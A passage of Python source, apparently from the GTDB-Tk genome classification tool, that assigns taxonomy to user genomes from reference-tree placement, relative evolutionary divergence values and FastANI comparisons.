rank will be 'o__)'\n child_rk = self.order_rank[self.order_rank.index(\n parent_rank) + 1]\n\n # get all reference genomes under the current node\n list_subnode = [childnd.taxon.label.replace(\"'\", '') for childnd in cur_node.leaf_iter(\n ) if childnd.taxon.label[0:3] in ['RS_', 'UBA', 'GB_']]\n\n # get all names for the child rank\n list_ranks = [self.gtdb_taxonomy.get(\n name)[self.order_rank.index(child_rk)] for name in list_subnode]\n\n # if there is just one rank name\n if len(set(list_ranks)) == 1:\n for subranknd in cur_node.preorder_iter():\n _support, subranknd_taxon, _aux_info = parse_label(\n subranknd.label)\n if subranknd.is_internal() and subranknd_taxon is not None and subranknd_taxon.startswith(\n child_rk):\n child_taxons = subranknd_taxon.split(\n \";\")\n child_taxon_node = subranknd\n child_rel_dist = child_taxon_node.rel_dist\n break\n else:\n # case 2a and 2b\n closest_rank = parent_rank\n detection = \"taxonomic classification fully defined by topology\"\n else:\n # case 1a\n closest_rank = parent_rank\n detection = \"taxonomic classification fully defined by topology\"\n\n # case 1b\n if len(child_taxons) == 0 and closest_rank is None:\n list_leaves = [childnd.taxon.label.replace(\"'\", '') for childnd in cur_node.leaf_iter(\n ) if childnd.taxon.label[0:3] in ['RS_', 'UBA', 'GB_']]\n if len(list_leaves) != 1:\n list_subrank = []\n for leaf_subrank in list_leaves:\n list_subrank.append(self.gtdb_taxonomy.get(\n leaf_subrank)[self.order_rank.index(parent_rank) + 1])\n if len(set(list_subrank)) == 1:\n print(list_leaves)\n print(list_subrank)\n raise Exception(\n 'There should be only one leaf.')\n else:\n closest_rank = parent_rank\n detection = \"taxonomic classification fully defined by topology\"\n list_leaf_ranks = self.gtdb_taxonomy.get(\n list_leaves[0])[self.order_rank.index(child_rk):-1] # We remove the species name\n for leaf_taxon in reversed(list_leaf_ranks):\n if leaf_taxon == list_leaf_ranks[0]:\n if abs(current_rel_list - marker_dict.get(leaf_taxon[:3])) < abs(\n (current_rel_list) - marker_dict.get(parent_rank)):\n closest_rank = leaf_taxon[:3]\n debug_info[3] = leaf_taxon\n debug_info[5] = 'case 1b - III'\n break\n else:\n pchildrank = list_leaf_ranks[list_leaf_ranks.index(\n leaf_taxon) - 1]\n if abs(current_rel_list - marker_dict.get(leaf_taxon[:3])) < abs(\n current_rel_list - marker_dict.get(pchildrank[:3])):\n closest_rank = leaf_taxon[:3]\n debug_info[1] = pchildrank\n debug_info[2] = 1.0\n debug_info[3] = leaf_taxon\n debug_info[5] = 'case 1b - II'\n break\n if closest_rank is None:\n closest_rank = parent_rank\n debug_info[3] = list_leaf_ranks[0]\n debug_info[5] = 'case 1b - IV'\n\n # if there is multiple ranks on the child node (i.e genome between p__Nitrospirae and c__Nitrospiria;o__Nitrospirales;f__Nitropiraceae)\n # we loop through the list of rank from f_ to c_ rank\n for child_taxon in reversed(child_taxons):\n # if lower rank is c__Nitropiria\n if child_taxon == child_taxons[0]:\n if (abs(current_rel_list - marker_dict.get(child_taxon[:3])) < abs(\n child_rel_dist - marker_dict.get(child_taxon[:3])) and\n abs(current_rel_list - marker_dict.get(child_taxon[:3])) < abs(\n current_rel_list - marker_dict.get(parent_rank))):\n debug_info[3] = ';'.join(child_taxons)\n debug_info[4] = child_rel_dist\n debug_info[5] = 'case 3b - II'\n closest_rank = child_taxon[:3]\n elif closest_rank is None:\n closest_rank = parent_rank\n debug_info[3] = ';'.join(child_taxons)\n debug_info[4] = child_rel_dist\n debug_info[5] = 'case 3b - III'\n else:\n pchildrank = child_taxons[child_taxons.index(\n child_taxon) - 1]\n if (abs(current_rel_list - marker_dict.get(child_taxon[:3])) < abs(\n current_rel_list - marker_dict.get(pchildrank[:3])) and\n abs(current_rel_list - marker_dict.get(child_taxon[:3])) < abs(\n child_rel_dist - marker_dict.get(child_taxon[:3]))):\n closest_rank = child_taxon\n debug_info[3] = ';'.join(child_taxons)\n debug_info[4] = child_rel_dist\n debug_info[5] = 'case 3b - I'\n break\n\n # case 1b\n if closest_rank is None:\n raise Exception('closest rank is None')\n\n debug_info[6] = closest_rank\n\n list_subnode = [subnd.taxon.label.replace(\n \"'\", '') for subnd in cur_node.leaf_iter()]\n red_taxonomy = self._get_redtax(\n list_subnode, closest_rank)\n\n del debug_info[0]\n\n summary_list = [None] * 19\n if leaf.taxon.label in unclassified_user_genomes:\n summary_list = unclassified_user_genomes.get(\n leaf.taxon.label)\n if summary_list[13] == '':\n summary_list[13] = None\n summary_list[0] = leaf.taxon.label\n summary_list[1] = self.standardise_taxonomy(\n red_taxonomy)\n summary_list[11] = pplacer_taxonomy_dict.get(\n leaf.taxon.label)\n summary_list[12] = 'Placement'\n summary_list[13] = detection\n summary_list[15] = self.aa_percent_msa(\n msa_dict.get(summary_list[0]))\n summary_list[16] = trans_table_dict.get(\n summary_list[0])\n summary_list[17] = current_rel_list\n\n notes = []\n if summary_list[0] in percent_multihit_dict:\n notes.append('Genome has more than {}% of markers with multiple hits'.format(\n percent_multihit_dict.get(summary_list[0])))\n if summary_list[0] in bac_ar_diff:\n notes.append('Genome domain questionable ( {}% Bacterial, {}% Archaeal)'.format(\n bac_ar_diff.get(summary_list[0]).get('bac120'),\n bac_ar_diff.get(summary_list[0]).get('ar122')))\n\n if len(notes) > 0:\n summary_list[18] = ';'.join(notes)\n summaryfout.write(\"{0}\\n\".format(\n '\\t'.join(['N/A' if x is None else str(x) for x in summary_list])))\n if debugopt:\n debugfile.write('{0}\\t{1}\\t{2}\\t{3}\\n'.format(\n leaf.taxon.label, current_rel_list, '\\t'.join(str(x) for x in debug_info), detection))\n else:\n 'debug false'\n\n summaryfout.close()\n\n # Symlink to the summary file from the root\n if marker_set_id == 'bac120':\n symlink_f(PATH_BAC120_SUMMARY_OUT.format(prefix=prefix),\n os.path.join(out_dir, os.path.basename(PATH_BAC120_SUMMARY_OUT.format(prefix=prefix))))\n elif marker_set_id == 'ar122':\n symlink_f(PATH_AR122_SUMMARY_OUT.format(prefix=prefix),\n os.path.join(out_dir, os.path.basename(PATH_AR122_SUMMARY_OUT.format(prefix=prefix))))\n else:\n self.logger.error(\n 'There was an error determining the marker set.')\n raise GenomeMarkerSetUnknown\n\n if debugopt:\n debugfile.close()\n\n def _assign_mrca_red(self, input_tree, marker_set_id):\n \"\"\"Parse the pplacer tree and write the partial taxonomy for each user genome based on their placements\n\n Parameters\n ----------\n input_tree : pplacer tree\n marker_set_id : bacterial or archeal id (bac120 or ar122)\n\n Returns\n -------\n tree: pplacer tree with RED value added to nodes of interest\n\n \"\"\"\n\n self.logger.info('Calculating RED values based on reference tree.')\n tree = dendropy.Tree.get_from_path(input_tree,\n schema='newick',\n rooting='force-rooted',\n preserve_underscores=True)\n\n red_file = Config.MRCA_RED_BAC120\n if marker_set_id == 'ar122':\n red_file = Config.MRCA_RED_AR122\n\n # create map from leave labels to tree nodes\n leaf_node_map = {}\n for leaf in tree.leaf_node_iter():\n leaf_node_map[leaf.taxon.label] = leaf\n\n # parse RED file and associate reference RED value to reference node in\n # the tree\n reference_nodes = set()\n with open(red_file) as rf:\n for line in rf:\n label_ids, red_value = line.strip().split('\\t')\n labels = label_ids.split('|')\n if len(labels) == 2:\n taxa = [leaf_node_map[label].taxon for label in labels]\n node = tree.mrca(taxa=taxa)\n elif len(labels) == 1:\n node = leaf_node_map[labels[0]]\n\n node.rel_dist = float(red_value)\n reference_nodes.add(node)\n\n # For all leaf nodes that are not reference genomes\n # We only give RED value to added nodes placed on a reference edge ( between a reference parent and a reference child)\n # The new red value for the pplacer node =\n # RED_parent + (RED_child -RED_parent) * ( (pplacer_disttoroot - parent_disttoroot) / (child_disttoroot - parent_disttoroot) )\n reference_pplacer_node = {}\n for nd in tree.leaf_nodes():\n if nd not in reference_nodes:\n nd.rel_dist = 1.0\n pplacer_node = nd\n pplacer_parent_node = pplacer_node.parent_node\n\n while not bool(set(pplacer_node.leaf_nodes()) & reference_nodes):\n pplacer_node = pplacer_parent_node\n pplacer_parent_node = pplacer_node.parent_node\n\n # perform level-order tree search to find first child\n # node that is part of the reference set\n for child in pplacer_node.levelorder_iter():\n if child in reference_nodes:\n child_node = child\n break\n\n # find first parent node that is part of the reference set\n while not pplacer_parent_node in reference_nodes:\n pplacer_parent_node = pplacer_parent_node.parent_node\n\n # we go up the tree until we reach pplacer_parent_node\n current_node = child_node.parent_node\n edge_length = child_node.edge_length\n on_pplacer_branch = False\n pplacer_edge_length = 0\n\n while current_node != pplacer_parent_node:\n if on_pplacer_branch or current_node == pplacer_node:\n on_pplacer_branch = True\n pplacer_edge_length += current_node.edge_length\n edge_length += current_node.edge_length\n current_node = current_node.parent_node\n\n ratio = pplacer_edge_length / edge_length\n\n branch_rel_dist = child_node.rel_dist - pplacer_parent_node.rel_dist\n branch_rel_dist = pplacer_parent_node.rel_dist + branch_rel_dist * ratio\n\n pplacer_node.rel_dist = branch_rel_dist\n\n return tree\n\n def _get_pplacer_taxonomy(self, out_dir, prefix, marker_set_id, user_msa_file, tree):\n \"\"\"Parse the pplacer tree and write the partial taxonomy for each user genome based on their placements\n\n Parameters\n ----------\n out_dir : output directory\n prefix : desired prefix for output files\n marker_set_id : bacterial or archeal id (bac120 or ar122)\n user_msa_file : msa file listing all user genomes for a certain domain\n tree : pplacer tree including the user genomes\n\n Returns\n -------\n dictionary[genome_label]=pplacer_taxonomy\n\n \"\"\"\n\n out_root = os.path.join(out_dir, 'classify', 'intermediate_results')\n make_sure_path_exists(out_root)\n result = {}\n\n if marker_set_id == 'bac120':\n out_pplacer = os.path.join(\n out_dir, PATH_BAC120_PPLACER_CLASS.format(prefix=prefix))\n elif marker_set_id == 'ar122':\n out_pplacer = os.path.join(\n out_dir, PATH_AR122_PPLACER_CLASS.format(prefix=prefix))\n else:\n self.logger.error('There was an error determining the marker set.')\n raise GenomeMarkerSetUnknown\n\n # We get the pplacer taxonomy for comparison\n with open(out_pplacer, 'w') as pplaceout:\n user_genome_ids = set(read_fasta(user_msa_file).keys())\n for leaf in tree.leaf_node_iter():\n if leaf.taxon.label in user_genome_ids:\n taxa = []\n cur_node = leaf\n while cur_node.parent_node:\n _support, taxon, _aux_info = parse_label(\n cur_node.label)\n if taxon:\n for t in taxon.split(';')[::-1]:\n taxa.append(t.strip())\n cur_node = cur_node.parent_node\n taxa_str = ';'.join(taxa[::-1])\n pplaceout.write('{}\\t{}\\n'.format(\n leaf.taxon.label, self.standardise_taxonomy(taxa_str, marker_set_id)))\n result[leaf.taxon.label] = self.standardise_taxonomy(\n taxa_str, marker_set_id)\n return result\n\n def _formatnote(self, sorted_dict, labels):\n \"\"\"Format the note field by concatenating all information in a sorted dictionary\n\n Parameters\n ----------\n sorted_dict : sorted dictionary listing reference genomes, ani and alignement fraction for a specific user genome\n (genomeid, {ani: value, af: value})\n labels : array of label that are removed from the note field\n\n Returns\n -------\n string\n note field\n\n \"\"\"\n note_list = []\n for element in sorted_dict:\n if element[0] not in labels:\n note_str = \"{}, {}, {}, {}, {}\".format(element[0],\n self.gtdb_taxonomy.get(\n add_ncbi_prefix(element[0]))[6],\n self.species_radius.get(\n element[0]),\n round(\n element[1].get('ani'), 2),\n element[1].get('af'))\n note_list.append(note_str)\n return note_list\n\n def aa_percent_msa(self, aa_string):\n aa_len = sum([1 for c in aa_string if c.isalpha()])\n aa_perc = float(aa_len) / len(aa_string)\n return round(aa_perc * 100, 2)\n\n def _sort_fastani_results(self, fastani_verification, pplacer_taxonomy_dict,\n all_fastani_dict, msa_dict, percent_multihit_dict,\n trans_table_dict, bac_ar_diff, summaryfout):\n \"\"\"Format the note field by concatenating all information in a sorted dictionary\n\n Parameters\n ----------\n fastani_verification : dictionary listing the potential genomes associated with a user genome d[user_genome] = {\"potential_g\": [\n (potential_genome_in_same_genus,patristic distance)], \"pplacer_g\": genome_of_reference_selected_by_pplacer(if any)}\n all_fastani_dict : dictionary listing the fastani ANI for each user genomes against the potential genomes d[user_genome]={ref_genome1:{\"af\":af,\"ani\":ani},ref_genome2:{\"af\":af,\"ani\":ani}}\n summaryfout: output file \n\n Returns\n -------\n classified_user_genomes: list of genomes where FastANI and Placement in the reference tree have predicted a taxonomy\n unclassified_user_genomes: dictionary of genomes where FastANI and Placement in the reference tree have not predicted a taxonomy\n\n \"\"\"\n classified_user_genomes = []\n unclassified_user_genomes = {}\n for userleaf, potential_nodes in fastani_verification.items():\n summary_list = [None] * 19\n\n notes = []\n if userleaf.taxon.label in percent_multihit_dict:\n notes.append('Genome has more than {}% of markers with multiple hits'.format(\n percent_multihit_dict.get(userleaf.taxon.label)))\n if userleaf.taxon.label in bac_ar_diff:\n notes.append('Genome domain questionable ( {}% Bacterial, {}% Archaeal)'.format(\n bac_ar_diff.get(userleaf.taxon.label).get('bac120'),\n bac_ar_diff.get(userleaf.taxon.label).get('ar122')))\n if len(notes) > 0:\n summary_list[18] = ';'.join(notes)\n\n if potential_nodes.get(\"pplacer_g\"):\n pplacer_leafnode = potential_nodes.get(\"pplacer_g\").taxon.label\n if pplacer_leafnode[0:3] in ['RS_', 'GB_']:\n pplacer_leafnode = pplacer_leafnode[3:]\n if userleaf.taxon.label in all_fastani_dict:\n # import IPython; IPython.embed()\n prefilter_reference_dictionary = {k: v for k, v in\n all_fastani_dict.get(userleaf.taxon.label).items() if (\n v.get('ani') >= self.species_radius.get(k) and v.get(\n 'af') >= self.af_threshold)}\n sorted_dict = sorted(iter(all_fastani_dict.get(\n userleaf.taxon.label).items()), key=lambda _x_y: (_x_y[1]['ani'], _x_y[1]['af']), reverse=True)\n sorted_prefilter_dict = sorted(iter(prefilter_reference_dictionary.items()),\n key=lambda _x_y1: (_x_y1[1]['ani'], _x_y1[1]['af']), reverse=True)\n\n fastani_matching_reference = None\n if len(sorted_prefilter_dict) > 0:\n fastani_matching_reference = sorted_prefilter_dict[0][0]\n current_ani = all_fastani_dict.get(userleaf.taxon.label).get(\n fastani_matching_reference).get('ani')\n current_af = all_fastani_dict.get(userleaf.taxon.label).get(\n fastani_matching_reference).get('af')\n\n taxa_str = \";\".join(self.gtdb_taxonomy.get(\n add_ncbi_prefix(pplacer_leafnode)))\n\n summary_list[0] = userleaf.taxon.label\n\n summary_list[11] = pplacer_taxonomy_dict.get(\n userleaf.taxon.label)\n summary_list[12] = 'ANI/Placement'\n summary_list[15] = self.aa_percent_msa(\n msa_dict.get(summary_list[0]))\n summary_list[16] = trans_table_dict.get(summary_list[0])\n\n if fastani_matching_reference is not None:\n summary_list[2] = fastani_matching_reference\n summary_list[3] = str(\n self.species_radius.get(fastani_matching_reference))\n summary_list[4] = \";\".join(self.gtdb_taxonomy.get(\n add_ncbi_prefix(fastani_matching_reference)))\n summary_list[5] = round(current_ani, 2)\n summary_list[6] = current_af\n if pplacer_leafnode == fastani_matching_reference:\n if taxa_str.endswith(\"s__\"):\n taxa_str = taxa_str + pplacer_leafnode\n summary_list[1] = self.standardise_taxonomy(\n taxa_str)\n summary_list[7] = summary_list[2]\n summary_list[8] = summary_list[4]\n summary_list[9] = summary_list[5]\n summary_list[10] = summary_list[6]\n summary_list[13] = 'topological placement and ANI have congruent species assignments'\n if len(sorted_dict) > 0:\n other_ref = '; '.join(self._formatnote(\n sorted_dict, [fastani_matching_reference]))\n if len(other_ref) == 0:\n summary_list[14] = None\n else:\n summary_list[14] = other_ref\n\n else:\n taxa_str = \";\".join(self.gtdb_taxonomy.get(\n add_ncbi_prefix(fastani_matching_reference)))\n summary_list[1] = self.standardise_taxonomy(\n taxa_str)\n summary_list[7] = pplacer_leafnode\n summary_list[8] = \";\".join(self.gtdb_taxonomy.get(\n add_ncbi_prefix(pplacer_leafnode)))\n if pplacer_leafnode in all_fastani_dict.get(userleaf.taxon.label):\n summary_list[9] = round(all_fastani_dict.get(\n userleaf.taxon.label).get(pplacer_leafnode).get('ani'), 2)\n summary_list[10] = all_fastani_dict.get(\n userleaf.taxon.label).get(pplacer_leafnode).get('af')\n summary_list[13] = 'topological placement and ANI have incongruent species assignments'\n summary_list[12] = 'ANI'\n\n if len(sorted_dict) > 0:\n other_ref = '; '.join(self._formatnote(\n sorted_dict, [fastani_matching_reference, pplacer_leafnode]))\n if len(other_ref) == 0:\n summary_list[14] = None\n else:\n summary_list[14] = other_ref\n\n summaryfout.write(\"{}\\n\".format(\n '\\t'.join(['N/A' if x is None else str(x) for x in summary_list])))\n classified_user_genomes.append(userleaf.taxon.label)\n else:\n summary_list[7] = pplacer_leafnode\n summary_list[8] = \";\".join(self.gtdb_taxonomy.get(\n add_ncbi_prefix(pplacer_leafnode)))\n if pplacer_leafnode in all_fastani_dict.get(userleaf.taxon.label):\n summary_list[9] = round(all_fastani_dict.get(\n userleaf.taxon.label).get(pplacer_leafnode).get('ani'), 2)\n summary_list[10] = all_fastani_dict.get(\n userleaf.taxon.label).get(pplacer_leafnode).get('af')\n\n if len(sorted_dict) > 0:\n other_ref = '; '.join(self._formatnote(\n sorted_dict, [pplacer_leafnode]))\n if len(other_ref) == 0:\n summary_list[14] = None\n else:\n summary_list[14] = other_ref\n unclassified_user_genomes[userleaf.taxon.label] = summary_list\n\n elif userleaf.taxon.label in all_fastani_dict:\n # import IPython; IPython.embed()\n prefilter_reference_dictionary = {k: v for k, v in\n all_fastani_dict.get(userleaf.taxon.label).items() if (\n v.get('ani') >= self.species_radius.get(k) and v.get(\n 'af') >= self.af_threshold)}\n sorted_dict = sorted(iter(all_fastani_dict.get(\n userleaf.taxon.label).items()), key=lambda _x_y2: (_x_y2[1]['ani'], _x_y2[1]['af']), reverse=True)\n sorted_prefilter_dict = sorted(iter(prefilter_reference_dictionary.items()),\n key=lambda _x_y3: (_x_y3[1]['ani'], _x_y3[1]['af']), reverse=True)\n\n summary_list[0] = userleaf.taxon.label\n summary_list[11] = pplacer_taxonomy_dict.get(\n userleaf.taxon.label)\n summary_list[12] = 'ANI/Placement'\n summary_list[15] = self.aa_percent_msa(\n msa_dict.get(summary_list[0]))\n summary_list[16] = trans_table_dict.get(summary_list[0])\n fastani_matching_reference = None\n if len(sorted_prefilter_dict) > 0:\n fastani_matching_reference = sorted_prefilter_dict[0][0]\n current_ani = all_fastani_dict.get(userleaf.taxon.label).get(\n fastani_matching_reference).get('ani')\n current_af = all_fastani_dict.get(userleaf.taxon.label).get(\n fastani_matching_reference).get('af')\n\n taxa_str = \";\".join(self.gtdb_taxonomy.get(\n add_ncbi_prefix(fastani_matching_reference))[:-1])\n\n summary_list[1] = self.standardise_taxonomy(taxa_str)\n summary_list[2] = fastani_matching_reference\n summary_list[3] = str(\n self.species_radius.get(fastani_matching_reference))\n summary_list[4] = \";\".join(self.gtdb_taxonomy.get(\n add_ncbi_prefix(fastani_matching_reference)))\n current_ani = all_fastani_dict.get(userleaf.taxon.label).get(\n fastani_matching_reference).get('ani')\n summary_list[5] = round(current_ani, 2)\n current_af = all_fastani_dict.get(userleaf.taxon.label).get(\n fastani_matching_reference).get('af')\n summary_list[6] = current_af\n\n taxa_str = \";\".join(self.gtdb_taxonomy.get(\n add_ncbi_prefix(fastani_matching_reference)))\n summary_list[1] = self.standardise_taxonomy(\n taxa_str)\n\n summary_list[13] = 'topological placement and ANI have incongruent species assignments'\n if len(sorted_dict) > 0:\n other_ref = '; '.join(self._formatnote(\n sorted_dict, [fastani_matching_reference]))\n if len(other_ref) == 0:\n summary_list[14] = None\n else:\n summary_list[14] = other_ref\n\n summaryfout.write(\"{}\\n\".format(\n '\\t'.join(['N/A' if x is None else str(x) for x in summary_list])))\n\n classified_user_genomes.append(userleaf.taxon.label)\n else:\n if len(sorted_dict) > 0:\n other_ref = '; '.join(self._formatnote(\n sorted_dict, []))\n if len(other_ref) == 0:\n summary_list[14] = None\n else:\n summary_list[14] = other_ref\n unclassified_user_genomes[userleaf.taxon.label] = summary_list\n return classified_user_genomes, unclassified_user_genomes\n\n def _get_redtax(self, list_subnode, closest_rank):\n \"\"\"\n Provide a taxonomy string to a user genome based on the reference genomes of the same clade.\n If the clade contains multiple reference genomes we are comparing their taxonomies.\n -If all reference genomes have the same taxonomy up to the 'closest rank' ,\n the taxonomy string including the closest rank is returned.\n -If **NOT** all reference genomes have the same taxonomy up to the 'closest rank',\n the taxonomy string **NOT** including the closest rank is returned.\n\n Parameters\n ----------\n list_subnode : list of leaf nodes including multiple reference genome.\n closest_rank : last rank of the reference taxonomy\n\n Returns\n -------\n string\n Taxonomy string.\n\n \"\"\"\n\n subtax, multirefrank = self._parse_subnodes(list_subnode, closest_rank)\n # if all orders in the list are the same, the user genomes gets the\n # same order\n if len(set(multirefrank)) == 1:\n # case d\n subtax.append(multirefrank[0])\n else:\n # otherwise it's stored as undefined\n # case a,b\n subtax.append(closest_rank + \"undefined\")\n return ';'.join(subtax)\n\n def _parse_subnodes(self, list_subnode, closest_rank):\n subtax = []\n multirefrank = []\n initial_loop = True\n for item in list_subnode:\n # We get the taxonomy of all reference genomes\n if item.startswith('RS_') or item.startswith('GB_') or item.startswith('UBA'):\n taxonomy_from_file = self.gtdb_taxonomy.get(item)\n # we store the selected rank (i.e. order) for each reference\n # genome\n for rank in taxonomy_from_file:\n if rank.startswith(closest_rank):\n multirefrank.append(rank)\n initial_loop = False\n break\n elif initial_loop:\n # The first iteration is used to stored upper level (\n # i.e. domain,phylum,class )\n subtax.append(rank)\n return subtax, multirefrank\n\n def _calculate_red_distances(self, input_tree, out_dir):\n \"\"\"\n Provide a taxonomy string to a user genome based on the reference genomes of the same clade.\n If the clade contains multiple reference genomes we are comparing their taxonomies.\n -If all reference genomes have the same taxonomy up to the 'closest rank' ,\n the taxonomy string including the closest rank is returned.\n -If **NOT** all reference genomes have the same taxonomy up to the 'closest rank',\n the taxonomy string **NOT** including the closest rank is returned.\n\n Parameters\n ----------\n list_subnode : list of leaf nodes including multiple reference genome.\n closest_rank : last rank of the reference taxonomy\n\n Returns\n -------\n string\n Taxonomy string.\n \"\"\"\n\n # read tree\n self.logger.info('Reading tree.')\n tree = dendropy.Tree.get_from_path(input_tree,\n schema='newick',\n rooting='force-rooted',\n preserve_underscores=True)\n\n self.logger.info('Reading taxonomy from file.')\n taxonomy = Taxonomy().read(Config.TAXONOMY_FILE)\n\n # determine taxa to be used for inferring distribution\n trusted_taxa = None\n taxa_for_dist_inference = self._filter_taxa_for_dist_inference(tree,\n taxonomy,\n trusted_taxa,\n Config.RED_MIN_CHILDREN,\n Config.RED_MIN_SUPPORT)\n\n phylum_rel_dists, rel_node_dists = self.median_rd_over_phyla(tree,\n taxa_for_dist_inference,\n taxonomy)\n\n # set edge lengths to median value over all rootings\n tree.seed_node.rel_dist = 0.0\n for n in tree.preorder_node_iter(lambda n: n != tree.seed_node):\n n.rel_dist = np_median(rel_node_dists[n.id])\n rd_to_parent = n.rel_dist - n.parent_node.rel_dist\n if rd_to_parent < 0:\n # This can occur since we are setting all nodes\n # to their median RED value.\n # self.logger.warning('Not all branches are positive after scaling.')\n pass\n n.edge_length = rd_to_parent\n\n if False:\n # These plots can be useful for debugging and internal use,\n # but are likely to be confusing to users.\n rd = RelativeDistance()\n\n input_tree_name = os.path.splitext(os.path.basename(input_tree))[0]\n plot_file = os.path.join(out_dir, '{}.png'.format(input_tree_name))\n rd._distribution_summary_plot(\n phylum_rel_dists, taxa_for_dist_inference, plot_file)\n\n gtdb_parent_ranks = Taxonomy().parents(taxonomy)\n median_outlier_table = os.path.join(\n out_dir, '{}.tsv'.format(input_tree_name))\n median_rank_file = os.path.join(\n out_dir, '{}.dict'.format(input_tree_name))\n rd._median_summary_outlier_file(phylum_rel_dists,\n taxa_for_dist_inference,\n gtdb_parent_ranks,\n median_outlier_table,\n median_rank_file,\n False)\n\n input_tree_name = os.path.splitext(os.path.basename(input_tree))[0]\n output_tree = os.path.join(\n out_dir, '{}.scaled.tree'.format(input_tree_name))\n tree.write_to_path(output_tree,\n schema='newick',\n suppress_rooting=True,\n unquoted_underscores=True)\n\n return tree\n\n def _filter_taxa_for_dist_inference(self, tree, taxonomy, trusted_taxa, min_children, min_support):\n \"\"\"Determine taxa to use for inferring distribution of relative divergences.\n\n Parameters\n ----------\n tree : Dendropy Tree\n Phylogenetic tree.\n taxonomy : d[taxon ID] -> [d__x; p__y; ...]\n Taxonomy for each taxon.\n trusted_taxa : iterable\n Trusted taxa to consider when inferring distribution.\n min_children : int\n Only consider taxa with at least the specified number of children taxa when inferring distribution.\n min_support : float\n Only consider taxa with at least this level of support when inferring distribution.\n \"\"\"\n\n # determine children taxa for each named group\n taxon_children = Taxonomy().taxon_children(taxonomy)\n\n # get all named groups\n taxa_for_dist_inference = set()\n for taxon_id, taxa in taxonomy.items():\n for taxon in taxa:\n taxa_for_dist_inference.add(taxon)\n\n # sanity check species names as these are a common problem\n species = set()\n for taxon_id, taxa in taxonomy.items():\n if len(taxa) > Taxonomy.rank_index['s__']:\n species_name = taxa[Taxonomy.rank_index['s__']]\n valid, error_msg = True, None\n if species_name != 's__':\n valid, error_msg = Taxonomy().validate_species_name(\n species_name, require_full=True, require_prefix=True)\n if not valid:\n print('[Warning] Species name {} for {} is invalid: {}'.format(\n species_name, taxon_id, error_msg))\n continue\n\n species.add(species_name)\n\n # restrict taxa to those with a sufficient number of named children\n # Note: a taxonomic group with no children will not end up in the\n # taxon_children data structure so care must be taken when applying\n # this filtering criteria.\n if min_children > 0:\n valid_taxa = set()\n for taxon, children_taxa in taxon_children.items():\n if len(children_taxa) >= min_children:\n valid_taxa.add(taxon)\n\n taxa_for_dist_inference.intersection_update(valid_taxa)\n\n # explicitly add in the species since they have no\n # children and thus be absent from the taxon_child dictionary\n taxa_for_dist_inference.update(species)\n\n # restrict taxa used for inferring distribution to those with\n # sufficient support\n if min_support > 0:\n for node in tree.preorder_node_iter():\n if not node.label or node.is_leaf():\n continue\n\n # check for support value\n support, taxon_name, _auxiliary_info = parse_label(node.label)\n\n if not taxon_name:\n continue\n\n if support and float(support) < min_support:\n taxa_for_dist_inference.difference_update([taxon_name])\n elif not support and min_support > 0:\n # no support value, so inform user if they were trying to\n # filter on this property\n print(\n '[Error] Tree does not contain support values. As such, --min_support should be set to 0.')\n continue\n\n # restrict taxa used for inferring distribution to the trusted set\n if trusted_taxa:\n taxa_for_dist_inference = trusted_taxa.intersection(\n taxa_for_dist_inference)\n\n return taxa_for_dist_inference\n\n def median_rd_over_phyla(self,\n tree,\n taxa_for_dist_inference,\n taxonomy):\n \"\"\"Calculate the median relative divergence over all phyla rootings.\n\n Parameters\n ----------\n tree : Tree\n Dendropy tree.\n taxa_for_dist_inference : set\n Taxa to use for inference relative divergence distributions.\n taxonomy : d[taxon_id] -> [d__, p__, ..., s__]\n Taxonomy of extant taxa.\n \"\"\"\n\n # get list of phyla level lineages\n all_phyla = self._get_phyla_lineages(tree)\n self.logger.info('Identified %d phyla.' % len(all_phyla))\n\n phyla = [p for p in all_phyla if p in taxa_for_dist_inference]\n self.logger.info(\n 'Using %d phyla as rootings for inferring RED distributions.' % len(phyla))\n if len(phyla) < 2:\n self.logger.error('Rescaling requires at least 2 valid phyla.')\n sys.exit(-1)\n\n # give each node a unique id\n for i, n in enumerate(tree.preorder_node_iter()):\n n.id = i\n\n # calculate relative divergence for tree rooted on each phylum\n phylum_rel_dists = {}\n rel_node_dists = defaultdict(list)\n rd = RelativeDistance()\n for p in phyla:\n phylum = p.replace('p__', '').replace(' ', '_').lower()\n status_msg = '==> Calculating information with rooting on {}. '.format(\n phylum.capitalize())\n sys.stdout.write('\\r{}'.format(status_msg))\n sys.stdout.flush()\n\n cur_tree = self.root_with_outgroup(tree, taxonomy, p)\n\n # calculate relative distance to taxa\n rel_dists = rd.rel_dist_to_named_clades(cur_tree)\n rel_dists.pop(0, None) # remove results for Domain\n\n # remove named groups in outgroup\n children = Taxonomy().children(p, taxonomy)\n for r in rel_dists.keys():\n rel_dists[r].pop(p, None)\n\n for t in children:\n for r in rel_dists.keys():\n rel_dists[r].pop(t, None)\n\n phylum_rel_dists[phylum] = rel_dists\n\n # calculate relative distance to all nodes\n rd.decorate_rel_dist(cur_tree)\n\n # determine which lineages represents the 'ingroup'\n ingroup_subtree = None\n for c in cur_tree.seed_node.child_node_iter():\n _support, taxon_name, _auxiliary_info = parse_label(c.label)\n if not taxon_name or p not in taxon_name:\n ingroup_subtree = c\n break\n\n # do a preorder traversal of 'ingroup' and record relative\n # divergence to nodes\n for n in ingroup_subtree.preorder_iter():\n rel_node_dists[n.id].append(n.rel_dist)\n\n sys.stdout.write(\n '==> Inference for RED distributions finished. ')\n sys.stdout.flush()\n sys.stdout.write('\\n')\n\n return phylum_rel_dists, rel_node_dists\n\n def _get_phyla_lineages(self, tree):\n \"\"\"Get list of phyla level lineages.\n\n Parameters\n ----------\n tree : Dendropy Tree\n Phylogenetic tree.\n\n Returns\n -------\n list\n List of phyla level lineages.\n \"\"\"\n phyla = []\n for node in tree.preorder_node_iter():\n if not node.label or node.is_leaf():\n continue\n\n _support, taxon_name, _auxiliary_info = parse_label(node.label)\n if taxon_name:\n taxa = [x.strip() for x in taxon_name.split(';')]\n if taxa[-1].startswith('p__'):\n phyla.append(taxa[-1])\n\n return phyla\n\n def root_with_outgroup(self, input_tree, taxonomy, outgroup_taxa):\n \"\"\"Reroot the tree using the given outgroup.\n\n Parameters\n ----------\n input_tree : Dendropy Tree\n Tree to rerooted.\n taxonomy : dict\n Taxonomy for taxa.\n outgroup : iterable\n Labels of taxa in outgroup.\n\n Returns\n -------\n Dendropy Tree\n Deep-copy of original tree rerooted on outgroup.\n \"\"\"\n\n new_tree = input_tree.clone()\n\n outgroup = set()\n for genome_id, taxa in taxonomy.items():\n if outgroup_taxa in taxa:\n outgroup.add(genome_id)\n\n outgroup_in_tree = set()\n ingroup_in_tree = set()\n for n in new_tree.leaf_node_iter():\n if n.taxon.label in outgroup:\n 